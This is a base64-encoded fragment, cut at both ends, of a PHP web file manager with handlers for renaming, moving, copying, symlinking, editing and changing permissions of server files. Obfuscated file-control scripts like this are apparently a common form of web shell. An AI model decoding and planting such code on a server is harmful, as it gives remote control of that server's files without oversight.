oJGZpbGUpIC0gc3RybGVuKCRuYW1lKSkgLiAnPC9iPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZXN0aW5hdGlvbiIgc2l6ZT0iJyAuIHRleHRmaWVsZHNpemUoJG5hbWUpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRuYW1lKSAuICciIC8+DQoJPGhyIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdyZW5hbWUnKSAuICciIC8+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdtb3ZlJzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgew0KDQoJCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsNCg0KCQkkZmFpbHVyZSA9IGFycmF5KCk7DQoJCSRzdWNjZXNzID0gYXJyYXkoKTsNCg0KCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCSRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZSwgc3RybGVuKCRkaXJlY3RvcnkpKTsNCgkJCSRkID0gJGRlc3QgLiAkZmlsZW5hbWU7DQoJCQlpZiAoIUBmaWxlX2V4aXN0cygkZCkgJiYgQHJlbmFtZSgkZmlsZSwgJGQpKSB7DQoJCQkJJHN1Y2Nlc3NbXSA9ICRmaWxlOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmFpbHVyZVtdID0gJGZpbGU7DQoJCQl9DQoJCX0NCg0KCQkkbWVzc2FnZSA9ICcnOw0KCQlpZiAoc2l6ZW9mKCRmYWlsdXJlKSA+IDApIHsNCgkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9tb3ZlZCcsIGltcGxvZGUoIlwNCiIsICRmYWlsdXJlKSwgJGRlc3QpOw0KCQl9DQoJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgew0KCQkJJG1lc3NhZ2UgLj0gbm90aWNlKCdtb3ZlZCcsIGltcGxvZGUoIlwNCiIsICRzdWNjZXNzKSwgJGRlc3QpOw0KCQl9DQoNCgkJbGlzdGluZ19wYWdlKCRtZXNzYWdlKTsNCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCic7DQoNCgkJcmVxdWVzdF9kdW1wKCk7DQoNCgkJZWNobyAiXHQ8Yj4iIC4gd29yZCgnbW92ZV9maWxlcycpIC4gJzwvYj4NCgk8cD4NCic7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cDQoiOw0KCQl9DQoNCgkJZWNobyAnCTwvcD4NCgk8aHIgLz4NCgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6DQoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdtb3ZlJykgLiAnIiAvPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY29weSc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsNCg0KCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7DQoNCgkJaWYgKEBpc19kaXIoJGRlc3QpKSB7DQoNCgkJCSRmYWlsdXJlID0gYXJyYXkoKTsNCgkJCSRzdWNjZXNzID0gYXJyYXkoKTsNCg0KCQkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQkJJGZpbGVuYW1lID0gc3Vic3RyKCRmaWxlLCBzdHJsZW4oJGRpcmVjdG9yeSkpOw0KCQkJCSRkID0gYWRkc2xhc2goJGRlc3QpIC4gJGZpbGVuYW1lOw0KCQkJCWlmICghQGlzX2RpcigkZmlsZSkgJiYgIUBmaWxlX2V4aXN0cygkZCkgJiYgQGNvcHkoJGZpbGUsICRkKSkgew0KCQkJCQkkc3VjY2Vzc1tdID0gJGZpbGU7DQoJCQkJfSBlbHNlIHsNCgkJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOw0KCQkJCX0NCgkJCX0NCg0KCQkJJG1lc3NhZ2UgPSAnJzsNCgkJCWlmIChzaXplb2YoJGZhaWx1cmUpID4gMCkgew0KCQkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9jb3BpZWQnLCBpbXBsb2RlKCJcDQoiLCAkZmFpbHVyZSksICRkZXN0KTsNCgkJCX0NCgkJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgew0KCQkJCSRtZXNzYWdlIC49IG5vdGljZSgnY29waWVkJywgaW1wbG9kZSgiXA0KIiwgJHN1Y2Nlc3MpLCAkZGVzdCk7DQoJCQl9DQoNCgkJCWxpc3RpbmdfcGFnZSgkbWVzc2FnZSk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJaWYgKCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEBjb3B5KCRmaWxlLCAkZGVzdCkpIHsNCgkJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdjb3BpZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJCX0gZWxzZSB7DQoJCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfY29waWVkJywgJGZpbGUsICRkZXN0KSk7DQoJCQl9DQoNCgkJfQ0KDQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KJzsNCg0KCQlyZXF1ZXN0X2R1bXAoKTsNCg0KCQllY2hvICJcDQo8Yj4iIC4gd29yZCgnY29weV9maWxlcycpIC4gJzwvYj4NCgk8cD4NCic7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cDQoiOw0KCQl9DQoNCgkJZWNobyAnCTwvcD4NCgk8aHIgLz4NCgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6DQoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdjb3B5JykgLiAnIiAvPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY3JlYXRlX3N5bWxpbmsnOg0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7DQoNCgkJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10sICRkaXJlY3RvcnkpOw0KDQoJCWlmIChzdWJzdHIoJGRlc3QsIC0xLCAxKSA9PSAkZGVsaW0pICRkZXN0IC49IGJhc2VuYW1lKCRmaWxlKTsNCg0KCQlpZiAoIWVtcHR5KCRfUE9TVFsncmVsYXRpdmUnXSkpICRmaWxlID0gYWJzb2x1dGUycmVsYXRpdmUoYWRkc2xhc2goZGlybmFtZSgkZGVzdCkpLCAkZmlsZSk7DQoNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEBzeW1saW5rKCRmaWxlLCAkZGVzdCkpIHsNCgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3N5bWxpbmtlZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9IGVsc2Ugew0KCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3Rfc3ltbGlua2VkJywgJGZpbGUsICRkZXN0KSk7DQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIiBpZD0ic3ltbGluayI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogdG9wIj4nIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6IDwvdGQ+DQoJPHRkPg0KCQk8Yj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9iPjxiciAvPg0KCQk8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJlbGF0aXZlIiB2YWx1ZT0ieWVzIiBpZD0iY2hlY2tib3hfcmVsYXRpdmUiIGNoZWNrZWQ9ImNoZWNrZWQiIHN0eWxlPSJtYXJnaW4tdG9wOiAxZXgiIC8+DQoJCTxsYWJlbCBmb3I9ImNoZWNrYm94X3JlbGF0aXZlIj4nIC4gd29yZCgncmVsYXRpdmUnKSAuICc8L2xhYmVsPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfc3ltbGluayIgLz4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCgk8dGQ+JyAuIHdvcmQoJ3N5bWxpbmsnKSAuICc6IDwvdGQ+DQoJPHRkPg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdjcmVhdGVfc3ltbGluaycpIC4gJyIgLz4NCgk8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdlZGl0JzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydzYXZlJ10pKSB7DQoNCgkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXA0KXA0KIiwgIlwNCiIsICRfUE9TVFsnY29udGVudCddKTsNCg0KCQlpZiAoKCRmID0gQGZvcGVuKCRmaWxlLCAndycpKSAmJiBAZndyaXRlKCRmLCAkY29udGVudCkgIT09IGZhbHNlICYmIEBmY2xvc2UoJGYpKSB7DQoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdzYXZlZCcsICRmaWxlKSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9zYXZlZCcsICRmaWxlKSk7DQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJaWYgKEBpc19yZWFkYWJsZSgkZmlsZSkgJiYgQGlzX3dyaXRhYmxlKCRmaWxlKSkgew0KCQkJZWRpdCgkZmlsZSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9lZGl0ZWQnLCAkZmlsZSkpOw0KCQl9DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAncGVybWlzc2lvbic6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnc2V0J10pKSB7DQoNCgkJJG1vZGUgPSAwOw0KCQlpZiAoIWVtcHR5KCRfUE9TVFsndXInXSkpICRtb2RlIHw9IDA0MDA7IGlmICghZW1wdHkoJF9QT1NUWyd1dyddKSkgJG1vZGUgfD0gMDIwMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSAkbW9kZSB8PSAwMTAwOw0KCQlpZiAoIWVtcHR5KCRfUE9TVFsnZ3InXSkpICRtb2RlIHw9IDAwNDA7IGlmICghZW1wdHkoJF9QT1NUWydndyddKSkgJG1vZGUgfD0gMDAyMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSAkbW9kZSB8PSAwMDEwOw0KCQlpZiAoIWVtcHR5KCRfUE9TVFsnb3InXSkpICRtb2RlIHw9IDAwMDQ7IGlmICghZW1wdHkoJF9QT1NUWydvdyddKSkgJG1vZGUgfD0gMDAwMjsgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSAkbW9kZSB8PSAwMDAxOw0KDQoJCWlmIChAY2htb2QoJGZpbGUsICRtb2RlKSkgew0KCQkJbGlzdGluZ19wYWdlKG5vdGljZSgncGVybWlzc2lvbl9zZXQnLCAkZmlsZSwgZGVjb2N0KCRtb2RlKSkpOw0KCQl9IGVsc2Ugew0KCQkJbGlzdGluZ19wYWdlKGVycm9yKCdwZXJtaXNzaW9uX25vdF9zZXQnLCAkZmlsZSwgZGVjb2N0KCRtb2RlKSkpOw0KCQl9DQoNCgl9IGVsc2Ugew0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJJG1vZGUgPSBmaWxlcGVybXMoJGZpbGUpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KDQoJPHAgc3R5bGU9Im1hcmdpbjogMCI+JyAuIHBocmFzZSgncGVybWlzc2lvbl9mb3InLCAkZmlsZSkgLiAnPC9wPg0KDQoJPGhyIC8+DQoNCgk8dGFibGUgaWQ9InBlcm1pc3Npb24iPg0KCTx0cj4NCgkJPHRkPjwvdGQ+DQoJCTx0ZCBzdHlsZT0iYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgYmxhY2siPicgLiB3b3JkKCdvd25lcicpIC4gJzwvdGQ+DQoJCTx0ZCBzdHlsZT0iYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgYmxhY2siPicgLiB3b3JkKCdncm91cCcpIC4gJzwvdGQ+DQoJCTx0ZD4nIC4gd29yZCgnb3RoZXInKSAuICc8L3RkPg0KCTwvdHI+DQoJPHRyPg0KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgncmVhZCcpIC4gJzo8L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1ciIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDA0MDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImdyIiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDA0MCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3IiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDA0KSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCTwvdHI+DQoJPHRyPg0KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgnd3JpdGUnKSAuICc6PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXciIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMjAwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJndyIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMjApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im93IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwMikgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgk8L3RyPg0KCTx0cj4NCgkJPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+JyAuIHdvcmQoJ2V4ZWN1dGUnKSAuICc6PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXgiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMTAwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJneCIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMTApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im94IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwMSkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgk8L3RyPg0KCTwvdGFibGU+DQoNCgk8aHIgLz4NCg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNldCIgdmFsdWU9IicgLiB3b3JkKCdzZXQnKSAuICciIC8+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJwZXJtaXNzaW9uIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KZGVmYXVsdDoNCg0KCWxpc3RpbmdfcGFnZSgpOw0KDQp9DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCg0KZnVuY3Rpb24gZ2V0bGlzdCAoJGRpcmVjdG9yeSkgew0KCWdsb2JhbCAkZGVsaW0sICR3aW47DQoNCglpZiAoJGQgPSBAb3BlbmRpcigkZGlyZWN0b3J5KSkgew0KDQoJCXdoaWxlICgoJGZpbGVuYW1lID0gQHJlYWRkaXIoJGQpKSAhPT0gZmFsc2UpIHsNCg0KCQkJJHBhdGggPSAkZGlyZWN0b3J5IC4gJGZpbGVuYW1lOw0KDQoJCQlpZiAoJHN0YXQgPSBAbHN0YXQoJHBhdGgpKSB7DQoNCgkJCQkkZmlsZSA9IGFycmF5KA0KCQkJCQknZmlsZW5hbWUnICAgID0+ICRmaWxlbmFtZSwNCgkJCQkJJ3BhdGgnICAgICAgICA9PiAkcGF0aCwNCgkJCQkJJ2lzX2ZpbGUnICAgICA9PiBAaXNfZmlsZSgkcGF0aCksDQoJCQkJCSdpc19kaXInICAgICAgPT4gQGlzX2RpcigkcGF0aCksDQoJCQkJCSdpc19saW5rJyAgICAgPT4gQGlzX2xpbmsoJHBhdGgpLA0KCQkJCQknaXNfcmVhZGFibGUnID0+IEBpc19yZWFkYWJsZSgkcGF0aCksDQoJCQkJCSdpc193cml0YWJsZScgPT4gQGlzX3dyaXRhYmxlKCRwYXRoKSwNCgkJCQkJJ3NpemUnICAgICAgICA9PiAkc3RhdFsnc2l6ZSddLA0KCQkJCQkncGVybWlzc2lvbicgID0+ICRzdGF0Wydtb2RlJ10sDQoJCQkJCSdvd25lcicgICAgICAgPT4gJHN0YXRbJ3VpZCddLA0KCQkJCQknZ3JvdXAnICAgICAgID0+ICRzdGF0WydnaWQnXSwNCgkJCQkJJ210aW1lJyAgICAgICA9PiBAZmlsZW10aW1lKCRwYXRoKSwNCgkJCQkJJ2F0aW1lJyAgICAgICA9PiBAZmlsZWF0aW1lKCRwYXRoKSwNCgkJCQkJJ2N0aW1lJyAgICAgICA9PiBAZmlsZWN0aW1lKCRwYXRoKQ0KCQkJCSk7DQoNCgkJCQlpZiAoJGZpbGVbJ2lzX2RpciddKSB7DQoJCQkJCSRmaWxlWydpc19leGVjdXRhYmxlJ10gPSBAZmlsZV9leGlzdHMoJHBhdGggLiAkZGVsaW0gLiAnLicpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWlmICghJHdpbikgew0KCQkJCQkJJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSA9IEBpc19leGVjdXRhYmxlKCRwYXRoKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCSRmaWxlWydpc19leGVjdXRhYmxlJ10gPSB0cnVlOw0KCQkJCQl9DQoJCQkJfQ0KDQoJCQkJaWYgKCRmaWxlWydpc19saW5rJ10pICRmaWxlWyd0YXJnZXQnXSA9IEByZWFkbGluaygkcGF0aCk7DQoNCgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSAkZmlsZVsnb3duZXJfbmFtZSddID0gQHJlc2V0KHBvc2l4X2dldHB3dWlkKCRmaWxlWydvd25lciddKSk7DQoJCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgJGZpbGVbJ2dyb3VwX25hbWUnXSA9IEByZXNldChwb3NpeF9nZXRncmdpZCgkZmlsZVsnZ3JvdXAnXSkpOw0KDQoJCQkJJGZpbGVzW10gPSAkZmlsZTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQlyZXR1cm4gJGZpbGVzOw0KDQoJfSBlbHNlIHsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBzb3J0bGlzdCAoJiRsaXN0LCAka2V5LCAkcmV2ZXJzZSkgew0KDQoJcXVpY2tzb3J0KCRsaXN0LCAwLCBzaXplb2YoJGxpc3QpIC0gMSwgJGtleSk7DQoNCglpZiAoJHJldmVyc2UpICRsaXN0ID0gYXJyYXlfcmV2ZXJzZSgkbGlzdCk7DQoNCn0NCg0KZnVuY3Rpb24gcXVpY2tzb3J0ICgmJGFycmF5LCAkZmlyc3QsICRsYXN0LCAka2V5KSB7DQoNCglpZiAoJGZpcnN0IDwgJGxhc3QpIHsNCg0KCQkkY21wID0gJGFycmF5W2Zsb29yKCgkZmlyc3QgKyAkbGFzdCkgLyAyKV1bJGtleV07DQoNCgkJJGwgPSAkZmlyc3Q7DQoJCSRyID0gJGxhc3Q7DQoNCgkJd2hpbGUgKCRsIDw9ICRyKSB7DQoNCgkJCXdoaWxlICgkYXJyYXlbJGxdWyRrZXldIDwgJGNtcCkgJGwrKzsNCgkJCXdoaWxlICgkYXJyYXlbJHJdWyRrZXldID4gJGNtcCkgJHItLTsNCg0KCQkJaWYgKCRsIDw9ICRyKSB7DQoNCgkJCQkkdG1wID0gJGFycmF5WyRsXTsNCgkJCQkkYXJyYXlbJGxdID0gJGFycmF5WyRyXTsNCgkJCQkkYXJyYXlbJHJdID0gJHRtcDsNCg0KCQkJCSRsKys7DQoJCQkJJHItLTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQlxdWlja3NvcnQoJGFycmF5LCAkZmlyc3QsICRyLCAka2V5KTsNCgkJcXVpY2tzb3J0KCRhcnJheSwgJGwsICRsYXN0LCAka2V5KTsNCg0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBwZXJtaXNzaW9uX29jdGFsMnN0cmluZyAoJG1vZGUpIHsNCg0KCWlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHsNCgkJJHR5cGUgPSAncyc7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgew0KCQkkdHlwZSA9ICdsJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7DQoJCSR0eXBlID0gJy0nOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHsNCgkJJHR5cGUgPSAnYic7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgew0KCQkkdHlwZSA9ICdkJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7DQoJCSR0eXBlID0gJ2MnOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHsNCgkJJHR5cGUgPSAncCc7DQoJfSBlbHNlIHsNCgkJJHR5cGUgPSAnPyc7DQoJfQ0KDQoJJG93bmVyICA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsNCgkkb3duZXIgLj0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KCWlmICgkbW9kZSAmIDB4ODAwKSB7DQoJCSRvd25lciAuPSAoJG1vZGUgJiAwMDEwMCkgPyAncycgOiAnUyc7DQoJfSBlbHNlIHsNCgkJJG93bmVyIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsNCgl9DQoNCgkkZ3JvdXAgID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOw0KCSRncm91cCAuPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7DQoJaWYgKCRtb2RlICYgMHg0MDApIHsNCgkJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDEwKSA/ICdzJyA6ICdTJzsNCgl9IGVsc2Ugew0KCQkkZ3JvdXAgLj0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOw0KDQoJfQ0KDQoJJG90aGVyICA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCgkkb3RoZXIgLj0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOw0KCWlmICgkbW9kZSAmIDB4MjAwKSB7DQoJCSRvdGhlciAuPSAoJG1vZGUgJiAwMDAwMSkgPyAndCcgOiAnVCc7DQoJfSBlbHNlIHsNCgkJJG90aGVyIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCgl9DQoNCglyZXR1cm4gJHR5cGUgLiAkb3duZXIgLiAkZ3JvdXAgLiAkb3RoZXI7DQoNCn0NCg0KZnVuY3Rpb24gaXNfc2NyaXB0ICgkZmlsZW5hbWUpIHsNCglyZXR1cm4gZXJlZ